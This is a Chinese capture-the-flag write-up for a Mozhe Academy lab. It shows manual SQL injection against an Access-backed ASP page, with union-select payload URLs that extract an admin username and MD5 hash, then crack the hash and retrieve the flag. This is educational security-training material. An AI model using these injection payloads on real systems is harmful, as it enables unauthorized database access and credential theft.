墨者学院02 SQL手工注入漏洞测试(Access数据库)

问题描述

题目链接:SQL手工注入漏洞测试(Access数据库)

友情提示:这个靶场环境有一点点不稳定,启动的时间有点漫长,解题的过程比较顺利,但是提交key的时候偶尔会弹窗"环境错误"~

(●'◡'●)熟悉的页面,熟悉的用户登录框,熟悉的平台停机维护通知滚动链接~ 

墨者学院02 SQL手工注入漏洞测试(Access数据库)_第1张图片

这些就是已知的条件啦~


解决方案:

参考1:谈一谈|SQL注入之显错注入 - 腾讯云开发者社区-腾讯云 (tencent.com)

参考2:评论区harrison*&lxx555二位大佬的提示

工具:无

1 判断注入点

http://219.153.49.228:48956?id=1 and 1=1

http://219.153.49.228:48956?id=1 and 1=2

上述两次登录结果页面完全一致,后台可能有所过滤,注入点不在这里~

试试另一个停机维护的网页~

http://219.153.49.228:48956/new_list.asp?id=1 and 1=1

http://219.153.49.228:48956/new_list.asp?id=1 and 1=2

网页置空,这个就是明显的注入点啦~

2 判断字段数

其次,判断当前数据库的字段数(列数)~

http://219.153.49.228:48956/new_list.asp?id=1 order by 1

网页正常,说明order by 1是正确指令(此处id=1可更换为id=1 and 1=2,执行结果略有不同,但都能得出相同结论),我们换成2、3、4逐渐尝试,发现输出是类似的~

墨者学院02 SQL手工注入漏洞测试(Access数据库)_第2张图片

直到输入order by 5时,页面置空,说明语句执行失败,当前数据库的字段仅有4列~

 3 判断回显字段及猜测表名

http://219.153.49.228:48956/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin

①通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~(注意此处需要有报错的前置条件,如and 1=2,或id=-1等,否则页面无法输出报错结果~)

②与masql相比,access增加了“from 表名”,access没有库名仅有表名,需要靠经验猜测...

表名可能有:admin admins admin_user admin_usr admin_msg admin_login user username manager各种大小写变体...

根据执行结果,2和3是较为明显的注入字段,admin是表名~

4 猜测字段名

在字段2或3处输入 查询字段名 的命令~

评论区目前对于access的评价都是:不能靠查,只能靠猜...

总之我们这里就是期望用户名和密码回显到页面上~

用户名可能有:username、user、usr、name、usrname,各种大小写变体...

密码可能有:password、passwd、pwd、pass,各种大小写变体...

如果猜错了,页面就没有什么显示...

 如果猜对了,页面就会回显字段内容...

 为了避免猜到猴年马月,很多大佬已经用burpsuite的intruder模块开始狙了...::>_<::

 经过多次猜测,用户名和密码的字段分别是:username与passwd,代码与执行结果如下:

http://219.153.49.228:48956/new_list.asp?id=1 and 1=2 union select 1,username,passwd,4 from admin

 用户名:moke,密码:7e6ec4fadf84938f(MD5加密)

5 md5解密

免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

密码解密结果:27737201

返回最初的登录页面,输入用户名:moke、密码:27737201,登录结果如下图~

墨者学院02 SQL手工注入漏洞测试(Access数据库)_第3张图片

KEY:mozhe5f8daa77cbaeb5702f11130ba30

总结:

(1)整个显错注入流程使用到以下语句~

语句 功能

and 1=1

and 1=2

判断注入点
order by 5 判断字段数
and 1=2 union select 1,2,3,4 from 表名 判断回显字段及猜测表名
and 1=2 union select 1,字段名,passwd,4 from 表名 猜测字段名

过程基本靠猜,Access数据库手工注入真的还挺考验运气的~

(2)若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

你可能感兴趣的:(#,墨者学院,数据库,web安全)